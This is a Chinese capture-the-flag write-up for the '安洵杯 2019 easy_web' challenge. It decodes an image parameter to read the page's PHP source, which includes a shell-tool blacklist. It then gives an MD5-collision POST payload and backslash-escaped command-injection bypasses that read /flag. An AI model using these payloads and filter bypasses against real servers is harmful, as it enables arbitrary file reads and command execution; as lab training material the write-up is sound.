[安洵杯 2019]easy_web
打开题目，看一下url
http://3153120f-c793-447b-91fa-33e382b4adda.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
首先img参数值像是一段base64，继续base64,16进制解码，得到555.png
解这道题的第一个关键思路就是将index.php以同样的加密方式逆过去，得到TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
传入到img参数。得到一段base64解码得到
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi??? no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo ("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>
<html> <style> body{ background:url(./bj.png) no-repeat center center;
background-size:cover; background-attachment:fixed;
background-color:#CCCCCC; } </style> <body> </body> </html>
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
md5强类型绕过
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
大多数查看文件命令都被过滤掉
dir命令
查看当前目录有没有flag:
?cmd=dir%20/ 找到flag
利用ca\t或者/bin/c\at来绕过，利用反斜杠产生转义字符绕过后仍可执行
?cmd=/bin/c\at%20/flag
还可以用sort命令读取
sort命令：sort将文件的每一行作为一个单位，相互比较，比较原则是从首字符向后，依次按ASCII码值进行比较，最后将他们按升序输出。
